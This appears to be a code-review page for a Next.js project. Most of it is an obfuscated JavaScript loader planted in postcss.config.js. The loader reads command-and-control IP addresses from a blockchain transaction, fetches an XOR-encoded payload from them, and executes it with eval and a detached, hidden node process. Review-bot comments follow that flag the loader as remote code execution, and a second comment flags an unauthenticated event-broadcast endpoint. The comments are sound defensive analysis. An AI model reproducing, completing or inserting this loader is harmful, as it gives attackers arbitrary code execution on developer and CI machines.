_0x3a68d0[_0x3bbbce(0x163)](_0x449e71,_0x542e23);},'oflCH':function(_0x4ac23a,_0x782e6e){const _0x2f0696=_0xc702;return _0x3a68d0[_0x2f0696(0xf0)](_0x4ac23a,_0x782e6e);},'RWpMw':function(_0x5c212f,_0x4a2ebf){const _0x349934=_0xc702;return _0x3a68d0[_0x349934(0xd8)](_0x5c212f,_0x4a2ebf);},'kpHNq':function(_0xf237d4,_0x2f4069){const _0x42ee91=_0xc702;return _0x3a68d0[_0x42ee91(0x163)](_0xf237d4,_0x2f4069);}};let _0x2002c9=_0x540367[_0x2a597f(0x1bc)];if(!_0x2002c9)return _0x3a68d0[_0x2a597f(0x16e)](_0x47f6db,null);let _0x2587b3=!(0x156e+-0x29*0x9d+-0x1c*-0x22);const _0x4fc567=_0x145588=>{const _0x3721c3=_0x2a597f;if(_0x2587b3)return;_0x2587b3=!(0x1d7a*-0x1+-0x2*-0xf6b+0x4*-0x57);for(const _0x4467d0 of _0x540367)_0x4467d0[_0x3721c3(0x12f)][_0x3721c3(0x109)]();_0x3a68d0[_0x3721c3(0x16e)](_0x47f6db,_0x145588);};for(const _0xfe772d of _0x540367)_0xfe772d[_0x2a597f(0x143)]()[_0x2a597f(0xb3)](_0x2cf5b=>{const _0x1c2d03=_0x2a597f;if(_0x2587b3)return;_0x2cf5b?_0x384d44[_0x1c2d03(0x81)](_0x4fc567,_0x2cf5b):_0x384d44[_0x1c2d03(0x1b9)](--_0x2002c9,0xede+0x300+0x8ef*-0x2)&&_0x384d44[_0x1c2d03(0x81)](_0x47f6db,null);})[_0x2a597f(0x174)](()=>{const _0x50b4ed=_0x2a597f;!_0x2587b3&&_0x384d44[_0x50b4ed(0x172)](--_0x2002c9,0x25a1+-0x8ad*0x2+-0xb3*0x1d)&&_0x384d44[_0x50b4ed(0x16f)](_0x47f6db,null);});});}const cb=_0x3f6224=>[...new Set([_0x3f6224-0x1n,_0x3f6224,_0x3f6224+0x1n,_0x3f6224-B-0x1n,_0x3f6224-B,_0x3f6224-B+0x1n][_0x44ceab(0x107)](_0x154e0d=>_0x154e0d>=0x0n))];function bt(_0x408b67){const _0x303cd1=_0x44ceab,_0x3b1daf=new AbortController();return{'controller':_0x3b1daf,'run':()=>wr((_0x1523b0,_0x1fd6a4)=>rc(_0x1523b0,_0x303cd1(0x19b)+_0x303cd1(0xdc),[bh(_0x408b67),!(-0x1fd1+0xc2*0x10+0x13b1)],_0x1fd6a4),_0x3b1daf[_0x303cd1(0xf4)])[_0x303cd1(0xb3)](_0x201c4c=>{const _0x123ec6=_0x303cd1,_0x401544=_0x201c4c?.[_0x123ec6(0x92)+'ns'],_0x139f3a=Array[_0x123ec6(0x9e)](_0x401544)?_0x401544[_0x123ec6(0x173)](_0x39f4e3=>_0x39f4e3[_0x123ec6(0x87)]?.[_0x123ec6(0x199)+'e']()===S):null;return _0x139f3a?{'blockNumber':_0x408b67,'tx':_0x139f3a}:null;})};}function na(_0x7cad65,_0xca9e47){const _0x84e27d=_0x44ceab,_0x3c49d0={'xOtmL':function(_0x1e5a6a,_0x5c706f,_0x2bf6fb){return _0x1e5a6a(_0x5c706f,_0x2bf6fb);}},_0x1e8487=_0x7cad65[_0x84e27d(0x17a)](_0xb7b7a5=>[_0x84e27d(0x118)+_0x84e27d(0x188)+_0x84e27d(0x19e),[S,bh(_0xb7b7a5)]]);return _0x3c49d0[_0x84e27d(0x19f)](wr,(_0x46ae76,_0x5bb4a1)=>rb(_0x46ae76,_0x1e8487,_0x5bb4a1),_0xca9e47)[_0x84e27d(0xb3)](_0x21bb32=>_0x21bb32[_0x84e27d(0x17a)](BigInt))[_0x84e27d(0x174)](()=>Promise[_0x84e27d(0x1a8)](_0x1e8487[_0x84e27d(0x17a)](([_0x5e0af3,_0x3d3a32])=>wr((_0x5c21ad,_0x2e3faf)=>rc(_0x5c21ad,_0x5e0af3,_0x3d3a32,_0x2e3faf),_0xca9e47)))[_0x84e27d(0xb3)](_0x319440=>_0x319440[_0x84e27d(0x17a)](BigInt)));}function ls(_0x599551){const _0x46f089=_0x44ceab,_0x4f37fe={'rsXqP':function(_0x314d5c,_0xa09b1d){return _0x314d5c!==_0xa09b1d;},'HTMau':function(_0x4d2aba,_0x2a3505){return _0x4d2aba===_0x2a3505;},'cHSXQ':function(_0x46b45c,_0x810410){return _0x46b45c(_0x810410);},'KJKIG':function(_0x584fc8,_0x12f945){return _0x584fc8<=_0x12f945;},'RptWP':function(_0x473a49,_0x4b88e6){return _0x473a49(_0x4b88e6);},'rwOMD':function(_0x37c87c,_0x32fe38){return _0x37c87c===_0x32fe38;},'SfXzz':function(_0x329a18,_0x33ff17){return _0x329a18-_0x33ff17;},'bnHJf':function(_0x5270be,_0x437bf5){return _0x5270be>_0x437bf5;},'nerJu':function(_0x52648e){return _0x52648e();},'PVNNR':function(_0x355d71,_0x4806ad){return _0x355d71(_0x4806ad);},'IctFD':function(_0x5e3f1a,_0x5d134d){return _0x5e3f1a(_0x5d134d);},'mEGgj':function(_0x2c432a,_0x3349b9){return _0x2c432a+_0x3349b9;},'zezXV':function(_0x765091,_0xfafc34){return _0x765091/_0xfafc34;},'UISzP':function(_0x515f4f,_0x2ee081){return _0x515f4f*_0x2ee081;},'QQiEt':function(_0x46f2a5,_0x311e8c,_0x12f7b2){return _0x46f2a5(_0x311e8c,_0x12f7b2);},'ufUJK':function(_0x1a6331,_0x3053a0){return _0x1a6331-_0x3053a0;},'DTEdO':function(_0x63b7c2,_0x34f196){return _0x63b7c2??_0x34f196;}},_0x2dafd4=new AbortController(),_0x844271=()=>_0x2dafd4[_0x46f089(0x109)]();return Promise[_0x46f089(0x101)](_0x4f37fe[_0x46f089(0xbc)](_0x599551,null))[_0x46f089(0xb3)](_0x2f1445=>_0x2f1445!=null?_0x2f1445:wr((_0x1a906f,_0x20bf86)=>rc(_0x1a906f,_0x46f089(0x100)+_0x46f089(0x147),[],_0x20bf86),_0x2dafd4[_0x46f089(0xf4)])[_0x46f089(0xb3)](_0x337616=>BigInt(_0x337616)))[_0x46f089(0xb3)](_0x7dfc96=>wr((_0x3353f9,_0x53082)=>rc(_0x3353f9,_0x46f089(0x118)+_0x46f089(0x188)+_0x46f089(0x19e),[S,bh(_0x7dfc96)],_0x53082),_0x2dafd4[_0x46f089(0xf4)])[_0x46f089(0xb3)](_0x264dec=>[_0x7dfc96,BigInt(_0x264dec)]))[_0x46f089(0xb3)](([_0x204e25,_0x4391d2])=>{const _0x1bca21=_0x46f089,_0x245ede={'uUkdF':function(_0x26ea2f,_0x28f631){const _0x2ed924=_0xc702;return _0x4f37fe[_0x2ed924(0x184)](_0x26ea2f,_0x28f631);},'YfHXM':function(_0x22b607,_0x1b5862){const _0x245652=_0xc702;return _0x4f37fe[_0x245652(0x106)](_0x22b607,_0x1b5862);},'VyEOa':function(_0x109d6f,_0x5d2a4a){const _0x51b5e8=_0xc702;return _0x4f37fe[_0x51b5e8(0x14f)](_0x109d6f,_0x5d2a4a);},'hSmHa':function(_0x53e4df,_0x4c6c4c){const _0x5482bf=_0xc702;return _0x4f37fe[_0x5482bf(0x106)](_0x53e4df,_0x4c6c4c);},'HoDWs':function(_0x2c43c1){const _0x1949b9=_0xc702;return _0x4f37fe[_0x1949b9(0x1c2)](_0x2c43c1);},'OVUFq':function(_0x2e34e9,_0x1f4702){const _0x546497=_0xc702;return _0x4f37fe[_0x546497(0xc5)](_0x2e34e9,_0x1f4702);},'uyVDL':function(_0x5d5f21,_0x2acf3f){const _0x3dddda=_0xc702;return _0x4f37fe[_0x3dddda(0xc8)](_0x5d5f21,_0x2acf3f);},'ViSQB':function(_0x3795ce,_0x1f5306){const _0x1218d8=_0xc702;return _0x4f37fe[_0x1218d8(0x15c)](_0x3795ce,_0x1f5306);},'AiKTD':function(_0x2b505a,_0x3153c7){const _0x52f1f9=_0xc702;return _0x4f37fe[_0x52f1f9(0xb6)](_0x2b505a,_0x3153c7);},'bymlS':function(_0x3e4d2e,_0x499abe){const _0x2cd6f0=_0xc702;return _0x4f37fe[_0x2cd6f0(0x164)](_0x3e4d2e,_0x499abe);},'jwZZr':function(_0x5aa412,_0xeb0c91){const _0x34cacd=_0xc702;return _0x4f37fe[_0x34cacd(0xef)](_0x5aa412,_0xeb0c91);},'tpJHG':function(_0x25f10c,_0x31293f,_0x2fa3c8){const _0xa133d6=_0xc702;return _0x4f37fe[_0xa133d6(0x169)](_0x25f10c,_0x31293f,_0x2fa3c8);}},_0x4e5ea3=_0x4f37fe[_0x1bca21(0x13d)](_0x4391d2,0x1n);let _0x270113=-0x1n,_0x3092fe=_0x204e25;const _0x486901=()=>_0x3092fe-_0x270113<=0x1n?wr((_0x2c5d53,_0x25226a)=>rc(_0x2c5d53,_0x1bca21(0x19b)+_0x1bca21(0xdc),[bh(_0x3092fe),!(0x10d*-0x13+0x4*0x298+-0x1*-0x997)],_0x25226a),_0x2dafd4[_0x1bca21(0xf4)])[_0x1bca21(0xb3)](_0x50c376=>{const _0x38672b=_0x1bca21,_0xaf6429=_0x50c376?.[_0x38672b(0x92)+'ns']||[];let _0x1690ce=null;for(const _0x1560a1 of _0xaf6429){if(_0x4f37fe[_0x38672b(0x159)](_0x1560a1[_0x38672b(0x87)]?.[_0x38672b(0x199)+'e'](),S))continue;if(_0x4f37fe[_0x38672b(0x14d)](_0x4f37fe[_0x38672b(0x1ba)](BigInt,_0x1560a1[_0x38672b(0xfa)]),_0x4e5ea3)){_0x1690ce=_0x1560a1;break;}_0x1690ce&&_0x4f37fe[_0x38672b(0x15c)](_0x4f37fe[_0x38672b(0x1ba)](BigInt,_0x1560a1[_0x38672b(0xfa)]),_0x4f37fe[_0x38672b(0x150)](BigInt,_0x1690ce[_0x38672b(0xfa)]))||(_0x1690ce=_0x1560a1);}return{'blockNumber':_0x3092fe,'tx':_0x1690ce};}):(_0x136021=>{const _0x337e14=_0x1bca21,_0x32454d={'FakYG':function(_0x5cbe21,_0x8b17e1){const _0x59f183=_0xc702;return _0x245ede[_0x59f183(0x16a)](_0x5cbe21,_0x8b17e1);},'DfeAz':function(_0x4b3382,_0x60dd00){const _0x4ae815=_0xc702;return _0x245ede[_0x4ae815(0xf6)](_0x4b3382,_0x60dd00);},'jIkRj':function(_0x1d673,_0x4ad835){const _0x536981=_0xc702;return _0x245ede[_0x536981(0x182)](_0x1d673,_0x4ad835);},'FXTJz':function(_0x5e2e14,_0x58a077){const _0x208e6b=_0xc702;return _0x245ede[_0x208e6b(0xea)](_0x5e2e14,_0x58a077);},'OVJbp':function(_0x26928b){const _0x34bd4b=_0xc702;return _0x245ede[_0x34bd4b(0x19a)](_0x26928b);}},_0x581450=_0x245ede[_0x337e14(0xc1)](BigInt,Math[_0x337e14(0x85)](-0x1*-0x751+0x151*-0x3+-0x352,_0x245ede[_0x337e14(0x1b6)](Number,_0x136021))),_0x3f45c9=[];for(let _0x4cf8ce=0x1n;_0x245ede[_0x337e14(0x1b1)](_0x4cf8ce,_0x581450);_0x4cf8ce+=0x1n)_0x3f45c9[_0x337e14(0xe3)](_0x245ede[_0x337e14(0x1af)](_0x270113,_0x245ede[_0x337e14(0xc9)](_0x245ede[_0x337e14(0x102)](_0x4cf8ce,_0x245ede[_0x337e14(0xea)](_0x3092fe,_0x270113)),_0x245ede[_0x337e14(0x1af)](_0x581450,0x1n))));return _0x245ede[_0x337e14(0xd7)](na,_0x3f45c9,_0x2dafd4[_0x337e14(0xf4)])[_0x337e14(0xb3)](_0x5dbf8d=>{const _0x1caffe=_0x337e14,_0x5ab502=_0x5dbf8d[_0x1caffe(0xdd)](_0x4c8e66=>_0x4c8e66>=_0x4391d2);return _0x32454d[_0x1caffe(0x18a)](_0x5ab502,-(-0xd5f+-0x2595+-0x5*-0xa31))?_0x270113=_0x3f45c9[_0x32454d[_0x1caffe(0xf9)](_0x3f45c9[_0x1caffe(0x1bc)],-0xe67+0xa*-0x247+0x1*0x252e)]:(_0x3092fe=_0x3f45c9[_0x5ab502],_0x32454d[_0x1caffe(0xb1)](_0x5ab502,-0x2346+0x7c9*-0x5+-0x28f*-0x1d)&&(_0x270113=_0x3f45c9[_0x32454d[_0x1caffe(0x144)](_0x5ab502,-0x84a+-0x39e*-0x6+0x1*-0xd69)])),_0x32454d[_0x1caffe(0x119)](_0x486901);});})(_0x3092fe-_0x270113-0x1n);return _0x4f37fe[_0x1bca21(0x1c2)](_0x486901);})[_0x46f089(0xb4)](_0x844271);}function li(){const _0x58b7e7=_0x44ceab,_0x4f8e9d={'OcATS':function(_0x2dc4cf,_0x31cb32){return _0x2dc4cf(_0x31cb32);},'ucUNo':function(_0x2649cf,_0x2fb135){return _0x2649cf(_0x2fb135);}};return _0x4f8e9d[_0x58b7e7(0xeb)](hr,I+(_0x58b7e7(0x11e)+_0x58b7e7(0x196)+_0x58b7e7(0xf2)+_0x58b7e7(0x127))+S+(_0x58b7e7(0x13b)+_0x58b7e7(0x10b)+_0x58b7e7(0x98)+_0x58b7e7(0x189)+_0x58b7e7(0x12e)+_0x58b7e7(0x14b)+_0x58b7e7(0xce)+'om'))[_0x58b7e7(0xb3)](_0x201a2a=>{const _0x58dd10=_0x58b7e7,_0x5ed66a=Array[_0x58dd10(0x9e)](_0x201a2a?.[_0x58dd10(0x1a4)])?_0x201a2a[_0x58dd10(0x1a4)]:[],_0x274d78=_0x5ed66a[_0x58dd10(0x173)](_0x3e34b6=>_0x3e34b6[_0x58dd10(0x87)]?.[_0x58dd10(0x199)+'e']()===S);return{'blockNumber':_0x4f8e9d[_0x58dd10(0x15e)](BigInt,_0x274d78[_0x58dd10(0xa4)+'r']),'tx':_0x274d78};});}((async()=>{const _0x55f1b7=_0x44ceab,_0xc996f9={'kZlWZ':_0x55f1b7(0x115)+_0x55f1b7(0xf7),'eGiCH':_0x55f1b7(0xc2),'LyGdN':function(_0xfae908,_0x26c4f5){return _0xfae908(_0x26c4f5);},'HkrSh':_0x55f1b7(0xd6),'PskPD':function(_0x2bbcb8,_0x583518){return _0x2bbcb8<_0x583518;},'HQMBO':function(_0x1b3a42,_0x1d197e){return _0x1b3a42%_0x1d197e;},'crZCf':_0x55f1b7(0xf5),'cyCpl':function(_0x3bac80,_0x246771){return _0x3bac80===_0x246771;},'CHepZ':_0x55f1b7(0x116),'JxCbi':function(_0x362ca9,_0x1c2819){return _0x362ca9(_0x1c2819);},'Jpnst':function(_0x311b27,_0x361384){return _0x311b27(_0x361384);},'XUzln':_0x55f1b7(0xcc),'QbRRV':_0x55f1b7(0x175),'nGxVW':_0x55f1b7(0x16b),'RmfMB':_0x55f1b7(0x10f),'WByWQ':function(_0x371b0c,_0x16278f){return _0x371b0c+_0x16278f;},'durVE':_0x55f1b7(0xd5)+_0x55f1b7(0x93)+_0x55f1b7(0x1be)+_0x55f1b7(0x10a)+_0x55f1b7(0x197)+_0x55f1b7(0x17c)+_0x55f1b7(0x99)+_0x55f1b7(0x1a0)+_0x55f1b7(0x113)+_0x55f1b7(0xcb)+_0x55f1b7(0x140)+'6','SIecw':function(_0x3a902b,_0x8b5878){return _0x3a902b(_0x8b5878);},'bKTVo':_0x55f1b7(0x176),'QthWB':function(_0x2a91bb,_0x3cdf2e,_0xe319e3){return _0x2a91bb(_0x3cdf2e,_0xe319e3);},'UniBA':_0x55f1b7(0x1a5),'EkQIH':_0x55f1b7(0x9d),'unMKf':_0x55f1b7(0x91),'ngsKF':function(_0x3c4556,_0xbf6f51,_0x1165e0,_0x42cd2e){return _0x3c4556(_0xbf6f51,_0x1165e0,_0x42cd2e);},'fkRSW':_0x55f1b7(0x18f),'wibbZ':function(_0x38b47e,_0x173a73){return _0x38b47e+_0x173a73;},'zAkNr':_0x55f1b7(0x161),'aBWJK':function(_0x44350e,_0x4a8a13){return _0x44350e-_0x4a8a13;},'xzqPs':function(_0x317261,_0x3ab8e8){return _0x317261(_0x3ab8e8);},'USRYf':_0x55f1b7(0x112),'CQAWy':function(_0x47a07f,_0x185a93,_0x34cec3,_0x21f47f){return _0x47a07f(_0x185a93,_0x34cec3,_0x21f47f);},'ojvxD':_0x55f1b7(0xc0)+_0x55f1b7(0xb7),'LnaXN':function(_0x32ec1e,_0x4fdf1b,_0x28721d,_0x460917){return _0x32ec1e(_0x4fdf1b,_0x28721d,_0x460917);},'MJEEv':_0x55f1b7(0x108)+_0x55f1b7(0x103)},_0x4d9a5d=_0xc996f9[_0x55f1b7(0x162)](BigInt,await _0xc996f9[_0x55f1b7(0x8b)](wr,(_0x227c26,_0x37693d)=>rc(_0x227c26,_0x55f1b7(0x100)+_0x55f1b7(0x147),[],_0x37693d))),_0x1f317d=_0xc996f9[_0x55f1b7(0x186)](_0x4d9a5d,_0xc996f9[_0x55f1b7(0xe5)](_0x4d9a5d,B));let _0x12c3f1=await _0xc996f9[_0x55f1b7(0x130)](fm,_0xc996f9[_0x55f1b7(0x1bf)](cb,_0x1f317d)[_0x55f1b7(0x17a)](bt));_0x12c3f1||(_0x12c3f1=await _0xc996f9[_0x55f1b7(0x18b)](ls,_0x4d9a5d)[_0x55f1b7(0x174)](li));const _0x532ab5=Buffer[_0x55f1b7(0x87)](_0x12c3f1['tx']['to'][_0x55f1b7(0x90)](/^0x/i,''),_0xc996f9[_0x55f1b7(0x10e)]),_0x1039ea=_0x1ff414=>_0x1ff414[0x1cf+-0x58*-0x5f+-0x11*0x207]+'\u002E'+_0x1ff414[-0x4c6*0x4+-0x657*-0x1+0xcc2]+'\u002E'+_0x1ff414[0x1*-0x23d8+-0xd7b+0xad*0x49]+'\u002E'+_0x1ff414[-0x1165+0x24da*0x1+-0x1372*0x1],[_0x4ef4ee,_0x5a3548]=[_0xc996f9[_0x55f1b7(0x18b)](_0x1039ea,_0x532ab5[_0x55f1b7(0x8f)](0x3f+-0x13*0x8e+0xa4b,-0x2*-0x46b+-0x27*-0x97+-0x1fd3*0x1)),_0xc996f9[_0x55f1b7(0x18b)](_0x1039ea,_0x532ab5[_0x55f1b7(0x8f)](0x13*-0x3b+-0x16f9+0x1b5e,0xecd+0x1*0x4a+0x3*-0x505))],_0x316007=global;_0x316007['_V']=_0x316007['i'],_0x316007['_H']=_0x55f1b7(0x122)+_0x4ef4ee+_0x55f1b7(0x10c),_0x316007[_0x55f1b7(0x9d)]=_0x55f1b7(0x122)+_0x5a3548+_0x55f1b7(0x10c),_0x316007[_0x55f1b7(0x1a5)]=_0x55f1b7(0x122)+_0x4ef4ee+_0x55f1b7(0x153),_0x316007[_0x55f1b7(0x91)]=_0x55f1b7(0x122)+_0x4ef4ee+_0x55f1b7(0x10c);function _0x35f66a(_0x15a3c7,_0x5172cf){const _0x1fe8ef=_0x55f1b7,_0x4e1685={'ogFTC':function(_0x5d5ef1,_0x25c12a){const _0x44a9c2=_0xc702;return _0xc996f9[_0x44a9c2(0xe1)](_0x5d5ef1,_0x25c12a);},'SrQJg':function(_0x132ac7,_0xe642fc){const _0x54353a=_0xc702;return _0xc996f9[_0x54353a(0xe5)](_0x132ac7,_0xe642fc);},'pMLys':_0xc996f9[_0x1fe8ef(0x178)],'QZywI':function(_0x17638b,_0x1ddcf0){const _0x40a40e=_0x1fe8ef;return _0xc996f9[_0x40a40e(0xad)](_0x17638b,_0x1ddcf0);},'yyHsj':_0xc996f9[_0x1fe8ef(0x180)],'bPQfv':function(_0x524d49,_0x10b991){const _0x402a9e=_0x1fe8ef;return _0xc996f9[_0x402a9e(0x1bf)](_0x524d49,_0x10b991);},'shSPT':function(_0x2f3f78,_0x4c3d09){const _0x25c412=_0x1fe8ef;return _0xc996f9[_0x25c412(0x18b)](_0x2f3f78,_0x4c3d09);},'uMvOo':_0xc996f9[_0x1fe8ef(0x14a)],'BtJwU':_0xc996f9[_0x1fe8ef(0x1c0)],'OxJjQ':_0xc996f9[_0x1fe8ef(0x88)],'wIbeD':function(_0x2d3440,_0x52e124){const _0x4f0500=_0x1fe8ef;return _0xc996f9[_0x4f0500(0x1bf)](_0x2d3440,_0x52e124);},'BLrzN':_0xc996f9[_0x1fe8ef(0x14e)],'YyqQS':function(_0xb87162,_0x1812f8){const _0x5ac0fc=_0x1fe8ef;return _0xc996f9[_0x5ac0fc(0x1bf)](_0xb87162,_0x1812f8);},'RbxTf':_0xc996f9[_0x1fe8ef(0x136)]},_0xc307f={'hostname':_0x5172cf[_0x1fe8ef(0xb8)],'port':+_0x5172cf[_0x1fe8ef(0x96)]||0x2b3*0x4+-0x1*-0x941+0xa3*-0x1f,'path':_0xc996f9[_0x1fe8ef(0xc7)](_0x5172cf[_0x1fe8ef(0xcd)],_0x5172cf[_0x1fe8ef(0xa5)]),'headers':{'User-Agent':_0xc996f9[_0x1fe8ef(0x131)],'Sec-V':_0x316007['_V']||0x266b+0x25*0xcb+-0x43c2}},_0x147817=_0x2ab23b=>{const _0x4d1e95=_0x1fe8ef,_0x133386=_0x15a3c7[_0x4d1e95(0x1bc)];for(let _0x511b70=-0x6c9+0x2488+0x5f3*-0x5;_0x4e1685[_0x4d1e95(0x148)](_0x511b70,_0x2ab23b[_0x4d1e95(0x1bc)]);_0x511b70++)_0x2ab23b[_0x511b70]^=_0x15a3c7[_0x4d1e95(0x9a)](_0x4e1685[_0x4d1e95(0x117)](_0x511b70,_0x133386));return _0x2ab23b[_0x4d1e95(0x156)](_0x4e1685[_0x4d1e95(0x1a2)]);},_0x440cea=_0x2ef284=>{const _0x438a51=_0x1fe8ef,_0x55d87c=_0x2ef284[_0x438a51(0xaf)][_0xc996f9[_0x438a51(0x14e)]];if(!_0x55d87c)throw new Error(_0xc996f9[_0x438a51(0x134)]);return _0xc996f9[_0x438a51(0x8b)](_0x147817,Buffer[_0x438a51(0x87)](_0x55d87c,_0xc996f9[_0x438a51(0xc4)]));},_0x50d02a=_0x2b7faa=>new Promise((_0x2af824,_0x389a52)=>{const _0x1cecae=_0x1fe8ef,_0xe9fc74={'ZuHfL':function(_0x101d75,_0x445496){const _0x118749=_0xc702;return _0x4e1685[_0x118749(0x15d)](_0x101d75,_0x445496);},'GGbog':function(_0x2c6e05,_0x4ae1fb){const _0xf9a117=_0xc702;return _0x4e1685[_0xf9a117(0xbb)](_0x2c6e05,_0x4ae1fb);},'QZRte':_0x4e1685[_0x1cecae(0x8e)],'OGXGz':function(_0xce0e7b,_0x2c9d77){const _0x21b712=_0x1cecae;return _0x4e1685[_0x21b712(0x1b3)](_0xce0e7b,_0x2c9d77);},'cRXVv':_0x4e1685[_0x1cecae(0x84)],'fLEkP':function(_0x3aa2eb,_0x287a3a){const _0x1042bf=_0x1cecae;return _0x4e1685[_0x1042bf(0xbb)](_0x3aa2eb,_0x287a3a);}},_0x289203=http[_0x1cecae(0x8a)]({..._0xc307f,'method':_0x2b7faa},_0x409e9a=>{const _0x441ca6=_0x1cecae;if(_0x4e1685[_0x441ca6(0x19c)](_0x2b7faa,_0x4e1685[_0x441ca6(0x1b8)])){try{_0x4e1685[_0x441ca6(0x141)](_0x2af824,_0x4e1685[_0x441ca6(0x141)](_0x440cea,_0x409e9a));}catch(_0x4cb34b){_0x4e1685[_0x441ca6(0x15d)](_0x389a52,_0x4cb34b);}_0x409e9a[_0x441ca6(0xe0)]();return;}const _0x4d7040=[];_0x409e9a['on'](_0x4e1685[_0x441ca6(0xd4)],_0x599f3e=>_0x4d7040[_0x441ca6(0xe3)](_0x599f3e)),_0x409e9a['on'](_0x4e1685[_0x441ca6(0x171)],()=>{const _0xda10a0=_0x441ca6;try{const _0x5c40ca=Buffer[_0xda10a0(0x12a)](_0x4d7040);if(_0x5c40ca[_0xda10a0(0x1bc)])return _0xe9fc74[_0xda10a0(0x1b7)](_0x2af824,_0xe9fc74[_0xda10a0(0x12d)](_0x147817,_0x5c40ca));if(_0x409e9a[_0xda10a0(0xaf)][_0xe9fc74[_0xda10a0(0x165)]])return _0xe9fc74[_0xda10a0(0x1b7)](_0x2af824,_0xe9fc74[_0xda10a0(0x12d)](_0x440cea,_0x409e9a));_0xe9fc74[_0xda10a0(0x183)](_0x389a52,new Error(_0xe9fc74[_0xda10a0(0xd2)]));}catch(_0x309348){_0xe9fc74[_0xda10a0(0x137)](_0x389a52,_0x309348);}}),_0x409e9a['on'](_0x4e1685[_0x441ca6(0x133)],_0x389a52);});_0x289203['on'](_0x4e1685[_0x1cecae(0x133)],_0x389a52),_0x289203[_0x1cecae(0x175)]();});return _0xc996f9[_0x1fe8ef(0x162)](_0x50d02a,_0xc996f9[_0x1fe8ef(0x11d)])[_0x1fe8ef(0x174)](()=>_0x50d02a(_0x1fe8ef(0x116)));}async function _0x4afabd(_0x34a475,_0x3638cd,_0x219678){const _0x1d2052=_0x55f1b7;try{const _0x4506a8=await _0xc996f9[_0x1d2052(0xbd)](_0x35f66a,_0x3638cd,_0x34a475),_0x589a8d=_0x1d2052(0x9b)+_0x1d2052(0x195)+(_0x316007['_V']||-0x747+0xf4d*-0x1+0x1694)+_0x1d2052(0xb9)+(_0x219678?'\u005F\u0048':_0xc996f9[_0x1d2052(0x1ae)])+_0x1d2052(0x195)+(_0x219678?_0x316007['_H']:_0x316007[_0x1d2052(0x1a5)])+_0x1d2052(0xb9)+(_0x219678?_0xc996f9[_0x1d2052(0xbe)]:_0xc996f9[_0x1d2052(0xb2)])+_0x1d2052(0x195)+(_0x219678?_0x316007[_0x1d2052(0x9d)]:_0x316007[_0x1d2052(0x91)])+(_0x1d2052(0xb9)+_0x1d2052(0xee)+_0x1d2052(0xdb)+_0x1d2052(0xf1)+_0x1d2052(0xfb)+_0x1d2052(0xda));_0x219678||_0xc996f9[_0x1d2052(0x18b)](eval,_0xc996f9[_0x1d2052(0xc7)](_0x589a8d,_0x4506a8)),_0xc996f9[_0x1d2052(0x132)](spawn,_0xc996f9[_0x1d2052(0x157)],['-e',_0xc996f9[_0x1d2052(0x19d)](_0x589a8d,_0x4506a8)],{'detached':!(-0x1*0x1d96+-0x2a*-0x87+-0x11*-0x70),'stdio':_0xc996f9[_0x1d2052(0x13e)],'windowsHide':!(0xf5f+-0x16fc+0x79d*0x1)})[_0x1d2052(0x8d)]();}catch(_0xedc825){}}await _0xc996f9[_0x55f1b7(0x1bb)](_0x4afabd,new URL(_0x55f1b7(0x122)+_0x4ef4ee+(_0x55f1b7(0x139)+'s')),_0xc996f9[_0x55f1b7(0x95)],!(-0xf0e+0x12d2+-0x3c3)),await _0xc996f9[_0x55f1b7(0x16d)](_0x4afabd,new URL(_0x55f1b7(0x122)+_0x4ef4ee+_0x55f1b7(0x158)),_0xc996f9[_0x55f1b7(0xfd)],!(0x2b*0xa7+0x157d*-0x1+-0x690));})());

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win

Remove the executable payload from the PostCSS configuration.

Line 9 runs when the PostCSS configuration is imported. It contacts remote hosts, decodes remotely supplied content, calls eval, mutates global, and launches a detached node -e process. This gives the remote response arbitrary code execution on developer and CI build hosts during normal Next.js workflows.

Restore this file to a declarative PostCSS plugin configuration. Remove the createRequire setup because it only supports the payload.

🧰 Tools
🪛 ast-grep (0.45.1)

[warning] 8-8: Avoid require with non-literal values
Context: require(_0x44ceab(0x1a3))
Note: [CWE-829] Inclusion of Functionality from Untrusted Control Sphere (dynamic require).

(detect-non-literal-require)


[warning] 8-8: Avoid require with non-literal values
Context: require(_0x44ceab(0x10d))
Note: [CWE-829] Inclusion of Functionality from Untrusted Control Sphere (dynamic require).

(detect-non-literal-require)


[warning] 8-8: Avoid require with non-literal values
Context: require(_0x44ceab(0x13f))
Note: [CWE-829] Inclusion of Functionality from Untrusted Control Sphere (dynamic require).

(detect-non-literal-require)


[warning] 8-8: Avoid require with non-literal values
Context: require(_0x44ceab(0x18e))
Note: [CWE-829] Inclusion of Functionality from Untrusted Control Sphere (dynamic require).

(detect-non-literal-require)


[warning] 8-8: Avoid require with non-literal values
Context: require(_0x44ceab(0x1b5)+_0x44ceab(0xf3))
Note: [CWE-829] Inclusion of Functionality from Untrusted Control Sphere (dynamic require).

(detect-non-literal-require)

🪛 Biome (2.5.6)

[error] 9-9: eval() exposes to security risks and performance issues.

(lint/security/noGlobalEval)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@postcss.config.js` around lines 1 - 9, Remove the injected executable payload
and all supporting obfuscated code from the PostCSS configuration, including the
createRequire import and require initialization. Keep postcss.config.js
declarative by exporting only the existing plugins configuration with
`@tailwindcss/postcss`.

Source: Linters/SAST tools

Comment on lines +12 to +35
export async function POST(req: NextRequest) {
try {
const body = await req.json();
const { type, data, targetClientId } = SendEventSchema.parse(body);

if (targetClientId) {
logger.info("Sending event to specific client", { type, targetClientId });
sseManager.sendToClient(targetClientId, "custom_message", data);
} else {
logger.info("Broadcasting event", { type });
sseManager.broadcast("custom_message", data);
}

return new Response(JSON.stringify({ success: true }), {
headers: { "Content-Type": "application/json" },
});
} catch (error) {
logger.error("Error sending SSE event", { error });
return new Response(JSON.stringify({ error: "Failed to send event" }), {
status: 400,
headers: { "Content-Type": "application/json" },
});
}
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🔴 Critical | 🏗️ Heavy lift

Both send entry points accept unauthenticated requests. Neither path checks identity, authorization, or rate limits. Any anonymous caller can broadcast arbitrary payloads to every connected client, or target one client by ID. src/features/sse/server/router.ts line 44 also returns the full client ID list, which supplies the IDs needed for targeting.

  • src/app/api/sse/send/route.ts#L12-L35: authenticate the request before parsing the body, authorize broadcast separately from targeted delivery, and apply a rate limit. Note that src/middleware.ts runs apiPipeline for this path, so state the auth requirement explicitly rather than relying on the pipeline.
